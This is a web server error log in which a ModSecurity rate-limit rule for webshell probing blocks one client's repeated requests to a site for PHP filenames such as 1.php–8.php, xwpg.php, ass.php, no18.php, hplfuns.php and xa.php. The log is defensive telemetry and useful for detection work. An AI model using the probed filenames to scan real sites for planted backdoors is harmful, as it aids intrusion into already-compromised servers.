[Thu Apr 16 07:16:17.643905 2026] [:error] [pid 57536:tid 57560] [client 4.231.201.132:8148] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeAcQSQU4faGja6jpDuI6gAAAAw"]
[Thu Apr 16 07:16:18.358819 2026] [:error] [pid 57536:tid 57550] [client 4.231.201.132:18142] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeAcQiQU4faGja6jpDuI7AAAAAI"]
[Thu Apr 16 07:16:18.872054 2026] [:error] [pid 29603:tid 29606] [client 4.231.201.132:18172] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeAcQlfGOR6fpTWUAzrddAAAAQE"]
[Thu Apr 16 07:16:19.405578 2026] [:error] [pid 29603:tid 29605] [client 4.231.201.132:18062] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeAcQ1fGOR6fpTWUAzrddQAAAQA"]
[Thu Apr 16 07:16:20.238787 2026] [:error] [pid 29603:tid 29607] [client 4.231.201.132:8145] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeAcRFfGOR6fpTWUAzrddgAAAQI"]
[Thu Apr 16 07:16:20.759951 2026] [:error] [pid 57536:tid 57553] [client 4.231.201.132:18055] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeAcRCQU4faGja6jpDuI7wAAAAU"]
[Thu Apr 16 07:16:21.362883 2026] [:error] [pid 57536:tid 57563] [client 4.231.201.132:8142] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeAcRSQU4faGja6jpDuI8AAAAA8"]
[Thu Apr 16 07:16:21.918883 2026] [:error] [pid 29603:tid 29625] [client 4.231.201.132:18145] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeAcRVfGOR6fpTWUAzrdeAAAARQ"]
[Thu Apr 16 07:16:22.470092 2026] [:error] [pid 29603:tid 29609] [client 4.231.201.132:18137] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeAcRlfGOR6fpTWUAzrdeQAAAQQ"]
[Thu Apr 16 07:16:23.024727 2026] [:error] [pid 57538:tid 57619] [client 4.231.201.132:8131] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeAcR8uMaiEF5SVR2BdHaQAAAJE"]
[Thu Apr 16 07:16:23.692922 2026] [:error] [pid 57538:tid 57609] [client 4.231.201.132:18085] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeAcR8uMaiEF5SVR2BdHagAAAIc"]
[Thu Apr 16 07:16:24.411594 2026] [:error] [pid 57538:tid 57613] [client 4.231.201.132:18163] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeAcSMuMaiEF5SVR2BdHbAAAAIs"]
[Thu Apr 16 07:16:25.064970 2026] [:error] [pid 29603:tid 29627] [client 4.231.201.132:8175] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeAcSVfGOR6fpTWUAzrdfAAAARY"]
[Thu Apr 16 07:16:25.611801 2026] [:error] [pid 57639:tid 57656] [client 4.231.201.132:8189] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeAcSaMCQoTw7TsxWunWdwAAAMo"]
[Thu Apr 16 07:16:26.160401 2026] [:error] [pid 49094:tid 49111] [client 4.231.201.132:18108] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeAcSjbDwvcXorHR_MyuHQAAAU8"]
[Thu Apr 16 07:16:26.733463 2026] [:error] [pid 49094:tid 49106] [client 4.231.201.132:18111] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeAcSjbDwvcXorHR_MyuIAAAAUo"]
[Thu Apr 16 07:16:27.326408 2026] [:error] [pid 29603:tid 29619] [client 4.231.201.132:18093] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeAcS1fGOR6fpTWUAzrdfwAAAQ4"]
[Thu Apr 16 07:16:27.902793 2026] [:error] [pid 49094:tid 49112] [client 4.231.201.132:18150] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeAcSzbDwvcXorHR_MyuJAAAAVA"]
[Thu Apr 16 07:16:28.437583 2026] [:error] [pid 29603:tid 29620] [client 4.231.201.132:18098] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeAcTFfGOR6fpTWUAzrdgQAAAQ8"]
[Thu Apr 16 07:16:29.080251 2026] [:error] [pid 29603:tid 29623] [client 4.231.201.132:18155] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeAcTVfGOR6fpTWUAzrdggAAARI"]
[Thu Apr 16 07:16:29.713862 2026] [:error] [pid 49094:tid 49101] [client 4.231.201.132:18105] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeAcTTbDwvcXorHR_MyuJwAAAUU"]
[Thu Apr 16 07:16:30.293691 2026] [:error] [pid 29603:tid 29612] [client 4.231.201.132:18111] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeAcTlfGOR6fpTWUAzrdhAAAAQc"]
[Thu Apr 16 07:16:30.965515 2026] [:error] [pid 29603:tid 29616] [client 4.231.201.132:18080] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeAcTlfGOR6fpTWUAzrdiQAAAQs"]
[Thu Apr 16 07:16:31.573622 2026] [:error] [pid 57536:tid 57561] [client 4.231.201.132:18069] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeAcTyQU4faGja6jpDuI8gAAAA0"]
[Thu Apr 16 07:16:32.139205 2026] [:error] [pid 57536:tid 57571] [client 4.231.201.132:18154] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeAcUCQU4faGja6jpDuI9AAAABc"]
[Thu Apr 16 07:16:32.791711 2026] [:error] [pid 57538:tid 57603] [client 4.231.201.132:8154] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeAcUMuMaiEF5SVR2BdHcgAAAIE"]
[Thu Apr 16 07:16:33.370842 2026] [:error] [pid 49094:tid 49113] [client 4.231.201.132:18053] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeAcUTbDwvcXorHR_MyuKgAAAVE"]
[Thu Apr 16 07:16:33.957841 2026] [:error] [pid 29603:tid 29627] [client 4.231.201.132:8190] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeAcUVfGOR6fpTWUAzrdjAAAARY"]
[Thu Apr 16 07:17:20.381618 2026] [:error] [pid 29603:tid 29610] [client 4.231.201.132:8166] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aeAcgFfGOR6fpTWUAzrd4gAAAQU"]
[Thu Apr 16 07:17:20.911955 2026] [:error] [pid 57639:tid 57655] [client 4.231.201.132:8139] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aeAcgKMCQoTw7TsxWunWiQAAAMk"]
[Thu Apr 16 07:17:21.435858 2026] [:error] [pid 57639:tid 57665] [client 4.231.201.132:8153] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aeAcgaMCQoTw7TsxWunWigAAANM"]
[Thu Apr 16 07:17:21.948859 2026] [:error] [pid 57538:tid 57614] [client 4.231.201.132:8180] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aeAcgcuMaiEF5SVR2BdHiwAAAIw"]
[Thu Apr 16 07:17:22.521715 2026] [:error] [pid 57639:tid 57648] [client 4.231.201.132:18096] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aeAcgqMCQoTw7TsxWunWiwAAAMI"]
[Thu Apr 16 07:17:23.040190 2026] [:error] [pid 57639:tid 57657] [client 4.231.201.132:18169] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aeAcg6MCQoTw7TsxWunWjAAAAMs"]
[Thu Apr 16 07:17:23.573465 2026] [:error] [pid 29603:tid 29619] [client 4.231.201.132:8128] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aeAcg1fGOR6fpTWUAzrd4wAAAQ4"]
[Thu Apr 16 07:17:24.117860 2026] [:error] [pid 29603:tid 29621] [client 4.231.201.132:18158] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aeAchFfGOR6fpTWUAzrd5gAAARA"]
[Thu Apr 16 07:17:24.646086 2026] [:error] [pid 57538:tid 57622] [client 4.231.201.132:8152] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeAchMuMaiEF5SVR2BdHjQAAAJQ"]
[Thu Apr 16 07:17:25.222831 2026] [:error] [pid 57639:tid 57653] [client 4.231.201.132:18101] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeAchaMCQoTw7TsxWunWjQAAAMc"]
[Thu Apr 16 07:17:25.826815 2026] [:error] [pid 57538:tid 57609] [client 4.231.201.132:18134] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeAchcuMaiEF5SVR2BdHkgAAAIc"]
[Thu Apr 16 07:17:26.430878 2026] [:error] [pid 57537:tid 57587] [client 4.231.201.132:8155] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeAchlVQRS8nm73ENAk9xAAAAEw"]
[Thu Apr 16 07:17:27.034830 2026] [:error] [pid 49094:tid 49117] [client 4.231.201.132:8092] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aeAchzbDwvcXorHR_MyuXAAAAVU"]
[Thu Apr 16 07:17:27.561137 2026] [:error] [pid 49094:tid 49113] [client 4.231.201.132:18072] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aeAchzbDwvcXorHR_MyuXQAAAVE"]
[Thu Apr 16 07:17:28.071219 2026] [:error] [pid 57536:tid 57555] [client 4.231.201.132:8074] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aeAciCQU4faGja6jpDuI_QAAAAc"]
[Thu Apr 16 07:17:28.592717 2026] [:error] [pid 57536:tid 57565] [client 4.231.201.132:18168] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aeAciCQU4faGja6jpDuI_gAAABE"]
[Thu Apr 16 07:17:29.172610 2026] [:error] [pid 57536:tid 57554] [client 4.231.201.132:18126] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "aeAciSQU4faGja6jpDuI_wAAAAY"]
[Thu Apr 16 07:17:29.721735 2026] [:error] [pid 57536:tid 57561] [client 4.231.201.132:18073] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "aeAciSQU4faGja6jpDuJAQAAAA0"]
[Thu Apr 16 07:17:30.248807 2026] [:error] [pid 57639:tid 57649] [client 4.231.201.132:8151] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "aeAciqMCQoTw7TsxWunWkgAAAMM"]
[Thu Apr 16 07:17:30.989107 2026] [:error] [pid 57538:tid 57619] [client 4.231.201.132:8130] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "aeAcisuMaiEF5SVR2BdHmQAAAJE"]
[Thu Apr 16 07:17:31.567101 2026] [:error] [pid 57639:tid 57651] [client 4.231.201.132:8129] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zample.php"] [unique_id "aeAci6MCQoTw7TsxWunWkwAAAMU"]
[Thu Apr 16 07:17:32.146960 2026] [:error] [pid 57536:tid 57562] [client 4.231.201.132:18140] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zample.php"] [unique_id "aeAcjCQU4faGja6jpDuJAwAAAA4"]
[Thu Apr 16 07:17:32.659628 2026] [:error] [pid 57538:tid 57624] [client 4.231.201.132:8141] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zample.php"] [unique_id "aeAcjMuMaiEF5SVR2BdHnAAAAJY"]
[Thu Apr 16 07:17:33.226591 2026] [:error] [pid 57538:tid 57606] [client 4.231.201.132:8088] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zample.php"] [unique_id "aeAcjcuMaiEF5SVR2BdHngAAAIQ"]
[Thu Apr 16 07:17:33.814184 2026] [:error] [pid 29603:tid 29614] [client 4.231.201.132:18092] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeAcjVfGOR6fpTWUAzrd6wAAAQk"]
[Thu Apr 16 07:17:34.360597 2026] [:error] [pid 29603:tid 29629] [client 4.231.201.132:8174] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeAcjlfGOR6fpTWUAzrd7AAAARg"]
[Thu Apr 16 07:17:34.902868 2026] [:error] [pid 49094:tid 49104] [client 4.231.201.132:18075] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeAcjjbDwvcXorHR_MyuYAAAAUg"]
[Thu Apr 16 07:17:35.416429 2026] [:error] [pid 49094:tid 49105] [client 4.231.201.132:8185] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeAcjzbDwvcXorHR_MyuYgAAAUk"]
[Thu Apr 16 07:17:36.023972 2026] [:error] [pid 57538:tid 57610] [client 4.231.201.132:18149] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aeAckMuMaiEF5SVR2BdHogAAAIg"]
